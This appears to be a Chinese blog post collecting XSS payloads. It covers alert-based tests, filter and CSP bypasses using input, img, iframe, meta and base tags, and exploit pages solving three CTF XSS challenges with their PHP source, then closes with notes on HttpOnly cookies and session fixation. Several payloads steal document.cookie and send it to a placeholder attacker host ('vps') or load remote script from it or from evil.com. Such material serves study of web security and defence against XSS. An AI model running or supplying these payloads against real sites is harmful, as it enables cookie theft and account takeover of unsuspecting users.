0x00前言
XSS跨站脚本攻击,是一种在web应用的漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
0x01一些XSS的payload
当alert被禁止时一般使用prompt
和confirm
进行弹窗
使用链接的javascrip弹窗
<a href=javascript:alert(1)>
# 使用html编码
<a href=javascript:alert(1)>
#urlencode
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
# 使用iframe反弹cookie
<iframe src="avascript:window.location.href='http://<vps>:<port>/?a='+document.cookie"
一些基本的绕过姿势
- <script>alert(/1/)</script> # 使用/替代单引号
- <script>alert(String.fromCharCode(49))</script> # 通过char字符替代检查
- <script>alert(/1/.source)</script> // ".source"不会影响alert的执行
- # 使用tab键绕过,使用大小写绕过
- <sc ript>alert(1)<s cript> # 留空格
- # %00 %0a %0d %c1等特殊符号绕过
- <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> # 畸形payload
- <a onmouseover="alert(document.cookie)"></a> # 无法使用href
还有一些绕过CSP的姿势后面慢慢更新吧
1.使用input标签
<input onfocus="alert(1)" autofocus />
<input onfocus="alert`'1'`" autofocus/> # 不使用 ()
<input onfocus=alert `1` autofocus /> # 不使用 ' " ()
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
2.使用p标签
<p/onmouseover=javascript:alert(1); >Test</p>
3.img标签
<img src ?itworksonchrome?\/onerror = alert(1)> #只在chrome下有效
<img/src/onerror=alert(1)>
<img src=x onerror="windows.location.href='vps/?c='+document.cookie">
4.div标签
<div/onmouseover='alert(1)'>
5.iframe标签
<iframe/onload=alert(1)></iframe>
<iframe src='javascript:alert(1)'></iframe>
使用iframe绕过CSP
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<iframe srcdoc="<script src='http://vps/exp.js'></script>"></iframe>
实战可以参考微软Azure DevOps的存储型XSS漏洞(绕过CSP)
6.使用meta标签进行url跳转
<meta http-equiv="refresh" content="1;url=http://vps/?c=[cookie]" > # 可使用[cookie]进行cookie的传送,在chrome下进行,但似乎只能在老版本中进行
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
7.textarea标签
<textarea onfocus=javascript:alert(1) autofocus>
0x02一些闭合标签的姿势
在一般的标签中,闭合标签已经成为xss的新方式,当代码如下时
<p><vaues><p>
<script>var n=christa</script>
则可插入
<scrip src=//vps c="
则会平成一个新的script标签,src可以自己设定,>就不用再说了
使用反斜杠 \ 进行绕过
使用<base>进行绕过
<base> 标签为页面上的所有链接规定默认地址或默认目标。
通常情况下,浏览器会从当前文档的 URL 中提取相应的元素来填写相对 URL 中的空白。当使用相对路径的js的脚本时可以使用该标签
<base/url='http://www.evil.com'/>
<script src='/a.js'> # 指向 http://www.evil.com/a.js的脚本
后面慢慢更新
0x03关于xss的题目
这里就之前先知的xss题目来看看吧,挑几个印象深的来看
01 文件上传
源码如下
<?php
header("X-XSS-Protection: 0");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".<BR>";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
}
?>
该题目需要让服务器读取到一部分的变量,将文件的名字插入js脚本从而实现xss,因此exp为
<form name="xz_xss1" method="post" action="http://127.0.0.1/xss1_uploadfiles/" enctype="multipart/form-data">
<textarea name='fileToUpload"; filename="test.<img src=a onerror=alert(1)>.png'>
Updaload
</textarea>
<input name="action" value="fileupload"/>
<input type="submit" name="" value="" size="0" />
</form>
<script>document.xz_xss1.submit();</script>
只能在ie下面运行,执行成功
02 getallheaders()
<?php
header('Pragma: cache');
header("Cache-Control: max-age=".(60*60*24*100));
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset=utf-8>
<head>
<body>
<?php
if(isset($_SERVER['HTTP_REFERER']))
{
echo "Bad Referrer!";
}
else
{
foreach (getallheaders() as $name => $value) {
echo "$name: $value\n";
}
}
?>
</body>
</html>
这道题设置了几乎永久的缓存,因此需要禁止使用缓存来进行xss,如果请求的内容不影响服务器,则可以使用Fetch先请求,再利用iframe进行二次请求,同时使用meta标签设置referrer,因此网上的exp如下,在chrome下生效
<!DOCTYPE html>
<html>
<head>
<meta name="referrer" content="never">
<script>
var request = new Request('http://127.0.0.1/xss2_getallheaders/index.php', {
method: 'GET',
mode: 'no-cors',
redirect: 'follow',
headers: new Headers({
'Content-Type': 'text/plain',
'Accept': 'application/json a<img src=x onerror=alert(/xss/)>',
'hint':'christa',
})
});
fetch(request).then(function() {
console.log('111');
});
</script>
</head>
<body>
<iframe src="http://127.0.0.1/xss2_getallheaders/index.php" style="width:100%;height:100%"></iframe>
</body>
</html>
03 跳转
<?php
header("X-XSS-Protection: 0");
$url=str_replace(urldecode(""),"",$_GET["url"]);
$url=str_replace(urldecode("%0d"),"",$url);
$url=str_replace(urldecode("%0a"),"",$url);
header("Location: ".$url);
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "<a href='".$url."'>如果跳转失败请点我</a>";?>
</body>
</html>
经过各种资料查询,发现当跳转的网址的端口小于80的时候,FireFox就不会跳转,则构造payload
http://127.0.0.1/xss5_redirect/?url=http://christa.top:0><img src=x onerror=alert(1)><a>
0x04 对HTTP-ONLY的一些思考
什么是http-only?
wiki上的解释是
HttpOnly是Set-Cookie HTTP响应头中包含的附加标志。在生成cookie时使用HttpOnly标志有助于降低客户机端脚本访问受保护cookie的风险(如果浏览器支持)。
如果HTTP响应头中包含HttpOnly标志(可选),则不能通过客户端脚本访问cookie(同样,如果浏览器支持此标志)。因此,即使存在跨站点脚本(XSS)缺陷,并且用户意外地访问了利用该缺陷的链接,浏览器(主要是Internet Explorer)也不会将cookie泄露给第三方。
如果浏览器不支持HttpOnly,而网站试图设置一个HttpOnly cookie,浏览器将忽略HttpOnly标志,从而创建一个传统的、脚本可访问的cookie。
通过js写入cookie
既然浏览器禁止js脚本读取,那能不能进行cookie写入。因此我们可以使用javascript进行sessionid的写入,从而达到session fixation,我们先在网站上创建我们自己的sesison,然后再使用xss漏洞将我们自己的session插入到受害者的攻击页面上.
因此可以
通过js覆盖http-only
该问题貌似在14年被解决了。。。
使用服务端的漏洞
比如Apache - httpOnly Cookie Disclosure漏洞